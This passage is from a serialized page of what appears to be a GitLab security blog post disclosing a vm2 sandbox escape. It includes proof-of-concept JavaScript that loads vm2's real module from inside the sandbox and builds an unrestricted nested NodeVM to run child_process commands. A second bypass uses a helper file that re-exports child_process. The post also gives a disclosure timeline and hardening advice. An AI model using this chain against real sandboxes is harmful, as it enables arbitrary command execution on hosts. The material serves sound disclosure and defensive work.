require('child_process').execSync('whoami').toString().trim()\",\n  'inner.js'\n);\n",[729,1156,1157,1178,1209,1230,1237,1242],{"__ignoreMap":809},[813,1158,1159,1161,1164,1166,1169,1172,1175],{"class":815,"line":816},[813,1160,820],{"class":819},[813,1162,1163],{"class":823}," real",[813,1165,827],{"class":819},[813,1167,1168],{"class":833}," require",[813,1170,1171],{"class":837},"(",[813,1173,1174],{"class":853},"'./node_modules/vm2'",[813,1176,1177],{"class":837},");\n",[813,1179,1180,1182,1185,1187,1189,1192,1194,1197,1200,1203,1206],{"class":815,"line":841},[813,1181,820],{"class":819},[813,1183,1184],{"class":823}," inner",[813,1186,827],{"class":819},[813,1188,830],{"class":819},[813,1190,1191],{"class":837}," real.",[813,1193,797],{"class":833},[813,1195,1196],{"class":837},"({ require: { builtin: [",[813,1198,1199],{"class":853},"'child_process'",[813,1201,1202],{"class":837},"], external: ",[813,1204,1205],{"class":823},"false",[813,1207,1208],{"class":837}," } });\n",[813,1210,1211,1214,1216,1219,1221,1224,1227],{"class":815,"line":860},[813,1212,1213],{"class":823},"module",[813,1215,1071],{"class":837},[813,1217,1218],{"class":823},"exports",[813,1220,827],{"class":819},[813,1222,1223],{"class":837}," inner.",[813,1225,1226],{"class":833},"run",[813,1228,1229],{"class":837},"(\n",[813,1231,1232,1235],{"class":815,"line":937},[813,1233,1234],{"class":853},"  \"module.exports = require('child_process').execSync('whoami').toString().trim()\"",[813,1236,922],{"class":837},[813,1238,1239],{"class":815,"line":955},[813,1240,1241],{"class":853},"  'inner.js'\n",[813,1243,1244],{"class":815,"line":961},[813,1245,1177],{"class":837},[725,1247,1248,1249,1252],{},"The outer sandbox's rules don't apply to the inner, because it's a brand new sandbox that the attacker built themselves, with ",[729,1250,1251],{},"child_process"," switched on.",[725,1254,1255,1256,1259,1260,1262,1263,780,1266,1269,1270,1273],{},"If the attacker tries to reach ",[729,1257,1258],{},"fs"," or ",[729,1261,1251],{}," straight from the outer sandbox, that still fails like it should (",[729,1264,1265],{},"require('fs')",[729,1267,1268],{},"require('child_process')"," both throw ",[729,1271,1272],{},"\"Cannot find module\"","). Every normal block still works. The one gap is requiring a file that happens to be vm2's own package. At that point the attacker isn't holding a blocked, fake copy anymore. They're holding the real one.",[725,1275,1276,1277,1280,1281,1284],{},"vm2 has had two earlier sandbox escape bugs with the same end result: a ",[729,1278,1279],{},"nesting: true"," bypass (GHSA-8hg8-63c5-gwmx) and a ",[729,1282,1283],{},"require.root"," symlink bypass (GHSA-cp6g-6699-wx9c). Neither fix touches this code. A developer who fixed both of those is still fully open to this one.",[725,1286,1287],{},"Here's the full chain, step by step:",[1289,1290,1291,1301,1311,1349,1362],"ol",{},[1292,1293,1294,1297,1298,1071],"li",{},[736,1295,1296],{},"The setup."," A developer creates the sandbox exactly as shown in vm2's README, under \"Quick Examples\": ",[729,1299,1300],{},"new NodeVM({ require: { external: true, root: './' } }).",[1292,1302,1303,1306,1307,1310],{},[736,1304,1305],{},"The untrusted code runs."," ",[729,1308,1309],{},"vm.run(untrustedCode)"," starts executing whatever code the attacker controls.",[1292,1312,1313,1316,1317,1319,1320,1323,1324],{},[736,1314,1315],{},"The code requires vm2 itself."," It calls ",[729,1318,1035],{},". Two things go wrong here, both in ",[729,1321,1322],{},"resolver-compat.js",":",[1325,1326,1327,1338],"ul",{},[1292,1328,1329,1332,1333,1335,1336,1071],{},[729,1330,1331],{},"isPathAllowed()"," returns ",[729,1334,847],{},", because that path sits inside ",[729,1337,875],{},[1292,1339,1340,1040,1342,1344,1345,1348],{},[729,1341,1039],{},[729,1343,1043],{},", so ",[729,1346,1347],{},"hostRequire()"," runs instead of vm2's own loader. The result: The attacker's code now holds the real, unwrapped vm2 module, not a sandboxed copy.",[1292,1350,1351,1354,1355,1357,1358,1361],{},[736,1352,1353],{},"The code builds a second, unrestricted sandbox."," Using that real vm2 module, it creates a new ",[729,1356,797],{}," with its own settings: ",[729,1359,1360],{},"new real.NodeVM({ require: { builtin: ['child_process'] } }).",". This second sandbox is entirely under the attacker's control.",[1292,1363,1364,1306,1367,1370],{},[736,1365,1366],{},"The code runs, unrestricted.",[729,1368,1369],{},"inner.run(\"require('child_process').execSync(...)\")"," executes, and the attacker has arbitrary command execution on the host.",[770,1372,1374],{"id":1373},"the-fix-and-what-it-actually-covers","The fix, and what it actually covers",[725,1376,1377,1378,1380,1381,1383,1384,1387,1388,1390,1391,1393],{},"The maintainer confirmed how it works, and folded in a duplicate report we had also filed (GHSA-w9c4-gw9x-53mq), closing it in favor of this one. The fix they shipped, in ",[729,1379,894],{},", blocks a sandboxed ",[729,1382,779],{}," of vm2's own ",[729,1385,1386],{},"lib/"," folder and main file. That closes the nested-VM trick no matter what ",[729,1389,1283],{}," is set to. It leaves ",[729,1392,1279],{}," alone, since that's a different bug entirely.",[725,1395,1396,1397,1400,1401,1403],{},"That said, the fix is narrower than it might first appear. If you turn on ",[729,1398,1399],{},"require.external: true"," with no ",[729,1402,1283],{}," set at all, vm2 now just prints one warning instead of blocking it, and the code still runs.",[725,1405,1406,1407,1409],{},"But point that same README setup to any other file on disk that exposes ",[729,1408,1251],{},", not vm2's own package, and you still get full remote code execution on 3.11.7. No error, no warning:",[804,1411,1413],{"className":806,"code":1412,"language":808,"meta":809,"style":809},"// evil-helper/index.js, unrelated to vm2\nmodule.exports = require('child_process');\n\nconst cp = require('./evil-helper/index.js');\nmodule.exports = cp.execSync('whoami').toString().trim();\n",[729,1414,1415,1420,1438,1442,1460],{"__ignoreMap":809},[813,1416,1417],{"class":815,"line":816},[813,1418,1419],{"class":951},"// evil-helper/index.js, unrelated to vm2\n",[813,1421,1422,1424,1426,1428,1430,1432,1434,1436],{"class":815,"line":841},[813,1423,1213],{"class":823},[813,1425,1071],{"class":837},[813,1427,1218],{"class":823},[813,1429,827],{"class":819},[813,1431,1168],{"class":833},[813,1433,1171],{"class":837},[813,1435,1199],{"class":853},[813,1437,1177],{"class":837},[813,1439,1440],{"class":815,"line":860},[813,1441,976],{"emptyLinePlaceholder":9},[813,1443,1444,1446,1449,1451,1453,1455,1458],{"class":815,"line":937},[813,1445,820],{"class":819},[813,1447,1448],{"class":823}," cp",[813,1450,827],{"class":819},[813,1452,1168],{"class":833},[813,1454,1171],{"class":837},[813,1456,1457],{"class":853},"'./evil-helper/index.js'",[813,1459,1177],{"class":837},[813,1461,1462,1464,1466,1468,1470,1473,1476,1478,1481,1484,1487,1490,1493],{"class":815,"line":955},[813,1463,1213],{"class":823},[813,1465,1071],{"class":837},[813,1467,1218],{"class":823},[813,1469,827],{"class":819},[813,1471,1472],{"class":837}," cp.",[813,1474,1475],{"class":833},"execSync",[813,1477,1171],{"class":837},[813,1479,1480],{"class":853},"'whoami'",[813,1482,1483],{"class":837},").",[813,1485,1486],{"class":833},"toString",[813,1488,1489],{"class":837},"().",[813,1491,1492],{"class":833},"trim",[813,1494,1495],{"class":837},"();\n",[725,1497,1498,1499,1501],{},"That new warning in 3.11.7 only shows up if ",[729,1500,875],{}," is missing entirely. If the root is set but still too wide, which is exactly what the README example does, you get no warning at all. We tested both cases ourselves to check this.",[725,1503,1504],{},"Two more things to know:",[1325,1506,1507,1510],{},[1292,1508,1509],{},"The CLI fix the maintainer shipped alongside this has its own separate advisory (GHSA-jxxv-8r27-vm4p).",[1292,1511,1512],{},"Version 3.11.7 is a combined release that also fixes three other, unrelated bugs.",[725,1514,1515,1516,1518,1519,1521],{},"So, in short: Version 3.11.7 closes this one attack path well. The wider risk, for any app that uses ",[729,1517,731],{}," without a strict, empty ",[729,1520,875],{}," folder, is a bigger and more challenging problem that's still worth addressing separately.",[770,1523,1525],{"id":1524},"checking-your-exposure","Checking your exposure",[725,1527,1528],{},"vm2 has been used inside plugin systems, code-running platforms, and CI tools for years, and more and more inside AI tools that run code an AI model wrote. However you measure it, it's used a lot: about 1.25 million downloads a week and over 5 million a month on npm, plus more than 4,000 GitHub stars and 328 forks.",[725,1530,1531,1532,1535,1536,1538,1539,1541],{},"This isn't a case of someone setting it up wrong. It's the first example in vm2's own README. Any developer who copied that example, without separately working out where ",[729,1533,1534],{},"node_modules"," sits relative to ",[729,1537,875],{},", is affected by default, before and after updating to Version 3.11.7, unless they lock down ",[729,1540,1283],{}," themselves.",[725,1543,1544],{},"Note that vm2 continues to be vulnerable because of the following characteristics:",[1325,1546,1547,1553,1564],{},[1292,1548,1549,1550,1552],{},"A default setting that looks safe but isn't. ",[729,1551,887],{}," reads like a limit, but whether it actually limits anything depends entirely on what else is sitting in that folder.",[1292,1554,1555,1556,1040,1558,1560,1561,1563],{},"A risky default with no warning next to it. ",[729,1557,1039],{},[729,1559,1043],{},", and that fact is buried in plain code comments, unlike ",[729,1562,1279],{},", which gets a bold warning and its own section in the README.",[1292,1565,1566,1567,1569],{},"A pattern that's easy to miss. An earlier bug reached this same \"unrestricted nested VM\" result through ",[729,1568,1279],{},". That fix, and this one, both do a good job closing the specific trick that got reported. The shared root cause behind both is harder to fully close in one pass, and that's a common challenge across vm2's disclosure history: It's had a long string of critical sandbox escape bugs through 2026, and it's understandably taken more than one round to fully address a few of them.",[770,1571,1573],{"id":1572},"what-this-means-for-you","What this means for you",[725,1575,1576,1579,1580,1582,1583,1585,1586,1259,1588,1590,1591,1594],{},[736,1577,1578],{},"If you use vm2:"," Update to Version 3.11.7. But don't stop there. Updating alone won't fix this. Point ",[729,1581,1283],{}," at a folder that only has the files the sandbox actually needs, and keep ",[729,1584,1534],{}," and anything that can reach ",[729,1587,1251],{},[729,1589,1258],{}," out of it, directly or through another file. Set ",[729,1592,1593],{},"context: 'sandbox'"," yourself instead of leaving it on default. And given vm2's track record, don't pick it to isolate truly untrusted code in a new project. Isolating it with containers or separate processes is a stronger wall.",[725,1596,1597,1600,1601,1605,1606,1609],{},[736,1598,1599],{},"If you build sandboxing tools:"," A \"limit it to this folder\" setting is only as safe as the weakest file sitting in that folder. Look just as closely at any setting that changes ",[1602,1603,1604],"em",{},"how"," code loads (sandboxed vs. real) as you do at settings that change ",[1602,1607,1608],{},"what"," can load. Test a library's default settings yourself instead of trusting them just because they're official. And don't assume a fix solves the real problem just because it stops your one test attack.",[770,1611,1613],{"id":1612},"disclosure-timeline","Disclosure timeline",[1615,1616,1617,1630],"table",{},[1618,1619,1620],"thead",{},[1621,1622,1623,1627],"tr",{},[1624,1625,1626],"th",{},"Date",[1624,1628,1629],{},"Event",[1631,1632,1633,1642,1650,1657,1664],"tbody",{},[1621,1634,1635,1639],{},[1636,1637,1638],"td",{},"2026-07-23",[1636,1640,1641],{},"Report opened with the maintainer via GitHub private security advisory",[1621,1643,1644,1647],{},[1636,1645,1646],{},"2026-08-18",[1636,1648,1649],{},"Report accepted by maintainer",[1621,1651,1652,1654],{},[1636,1653,1646],{},[1636,1655,1656],{},"Fix committed to the maintainer's private fork",[1621,1658,1659,1661],{},[1636,1660,1646],{},[1636,1662,1663],{},"We validated the fix against our PoC on the private fork",[1621,1665,1666,1669],{},[1636,1667,1668],{},"2026-08-24",[1636,1670,1671],{},"Public advisory published; vm2 3.11.7 released, requested a CVE",[725,1673,1674],{},"Thanks to the vm2 maintainer for accepting the report and shipping a fix in the same release. What we found above builds on the maintainer's own explanation of the fix. It doesn't go against it.",[770,1676,1678],{"id":1677},"how-gitlab-can-help","How GitLab can help",[725,1680,1681,1687,1688,1690],{},[1682,1683,1686],"a",{"href":1684,"rel":1685},"https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/",[],"GitLab Duo Security Analyst Agent",", part of GitLab Duo Agent Platform, can help you check your codebase for this same problem. A question like \"does this project run untrusted code through a sandboxing library with ",[729,1689,731],{}," turned on?\" is a good place to start.",[770,1692,1694],{"id":1693},"looking-ahead","Looking ahead",[725,1696,1697],{},"vm2's history is a good reminder that even a fast, well-handled fix can leave a broader configuration risk in place, simply because the reported case and the underlying pattern aren't always the same thing. When you look at a sandboxing library's security history, it's worth asking not just whether a report got fixed, but whether the fix covers the wider pattern too. And it's always worth checking the actual code change yourself before telling anyone else it's safe.",[1699,1700,1701],"style",{},"html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}",{"title":809,"searchDepth":841,"depth":841,"links":1703},[1704,1705,1706,1707,1708,1709,1710,1711],{"id":772,"depth":841,"text":773},{"id":790,"depth":841,"text":791},{"id":1373,"depth":841,"text":1374},{"id":1524,"depth":841,"text":1525},{"id":1572,"depth":841,"text":1573},{"id":1612,"depth":841,"text":1613},{"id":1677,"depth":841,"text":1678},{"id":1693,"depth":841,"text":1694},"2026-09-02","GitLab's Threat Research Group found a critical sandbox escape in vm2 that runs attacker code using the library's own documented configuration.","md","https://res.cloudinary.com/about-gitlab-com/image/upload/v1782237704/cj50chkvprjthczevmog.png",{},"/en-us/blog/critical-remote-code-execution-in-vm2",{"config":1719,"title":717,"description":1713},{"noIndex":11},"critical-remote-code-execution-in-vm2","en-us/blog/critical-remote-code-execution-in-vm2",[1723],"security","BlogPost","RtulOBYjMWEcNXNU9PiWm0tSCPiAjZ-Ls6J867FG_VU",[1727],{"title":1728,"heroImage":1729,"category":10,"description":1730,"authors":1731,"slug":1733,"externalUrl":6},"Git security audit: Inside the hunt for - and discovery of - CVEs","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668524/Blog/Hero%20Images/closeup-photo-of-black-and-blue-keyboard-1194713.jpg","Get a behind-the-scenes look at how I helped discover the vulnerability that became CVE-2022-41903.",[1732],"Joern Schneeweisz","git-security-audit",1790764807687]